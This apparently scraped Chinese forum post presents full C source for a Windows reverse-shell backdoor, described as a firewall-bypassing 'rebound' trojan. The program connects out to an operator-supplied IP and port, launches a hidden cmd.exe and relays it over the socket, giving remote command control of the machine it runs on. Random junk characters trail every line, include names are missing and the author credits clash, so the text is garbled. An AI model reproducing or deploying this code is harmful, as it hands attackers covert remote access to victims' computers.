这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K"r*M.P>
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/* ============================== &}A[x1x06)
Rebound port in Windows NT VY3&
By wind,2006/7 wu)w
===============================*/ ~J P=T
#include 1R,:
#include vvm0t"|\
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#pragma comment(lib,"wsock32.lib") L31HGH2l
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void OutputShell(); 7x@A%2J
SOCKET sClient; 0PWg;>^'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^Y'HaneoM
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void main(int argc,char **argv) #W|'1
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{ R=|{n'n$0|
WSADATA stWsaData; ;1a~pF S
int nRet; !1ED~3/X
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) t]YC"%[S
{ 0|a(]a}V*j
printf("Useage:\n\rRebound DestIP DestPort\n"); '#&os`mQ
return; T3^GC X|!@
} ^_f+15]D
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WSAStartup(MAKEWORD(2,2),&stWsaData); (Tbw3ENz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `5C,N!d8X
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stSaiClient.sin_family = AF_INET; Wr( y)D<y}
stSaiClient.sin_port = htons(0); =17t-
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D}mjN=Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C<P%CG&;
{ 2Tagr1L
printf("Bind Socket Failed!\n"); 7:2WgLo
return; F~P%AjAx'
} w$Rro)?}7
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stSaiServer.sin_family = AF_INET; NB8/g0:=n&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1 A\OC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H(Z88.OM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @WVcY:1t#
{ /@,j232
printf("Connect Error!"); 6=fSE=]DY
return; EUxG Aj$-
} @g&ct>@y
OutputShell(); c|#8T*`C
} eY|
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void OutputShell() sL\L"rQN6
{ [_}J F}6
char szBuff[1024]; fIsp;ca[k
SECURITY_ATTRIBUTES stSecurityAttributes; =,UWX3`f
OSVERSIONINFO stOsversionInfo; Y$?9Zkp>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LL3#5AA"k|
STARTUPINFO stStartupInfo; "*Tb"
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char *szShell; ~W{2Jd
PROCESS_INFORMATION stProcessInformation; hBBUw0"
unsigned long lBytesRead; e8GEoD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L{8xlx`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CW,Wx: Y
stSecurityAttributes.lpSecurityDescriptor = 0; l\@)y4
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stSecurityAttributes.bInheritHandle = TRUE; ::}{_ Z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [m|YWT=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~4 `5tb
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j'HZ\_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 70eb]\%
stStartupInfo.wShowWindow = SW_HIDE; R~S;sJ& c
stStartupInfo.hStdInput = hReadPipe; &FF"nE*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \Hn>oonph
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GetVersionEx(&stOsversionInfo); R
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switch(stOsversionInfo.dwPlatformId) jbS\vyG
{ &M.66O@
case 1: $d_|NssvU
szShell = "command.com"; ;n&t>pBM
break; lc~%=
default: d2H|LMhJ
szShell = "cmd.exe"; T Kg aV;92
break; `wDl<[V
} ,uSQNre\j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x3o]U)^
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send(sClient,szMsg,77,0); d%V*|0c)
while(1) @n{JM7ctJ
{ [E/\#4b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V;,{}
if(lBytesRead) [<
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{ a
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AMyIAZnYq)
send(sClient,szBuff,lBytesRead,0); v~@pMA$(h
} V{:A3C41
else d~1gMz+)
{ Q|D @Yd\
lBytesRead=recv(sClient,szBuff,1024,0); IVAmV!.z
if(lBytesRead<=0) break; p(/dBt[3k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'a\%L:`
} G}ob<`o|"
} H\0~#(z?.
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return; E: $P=%b
}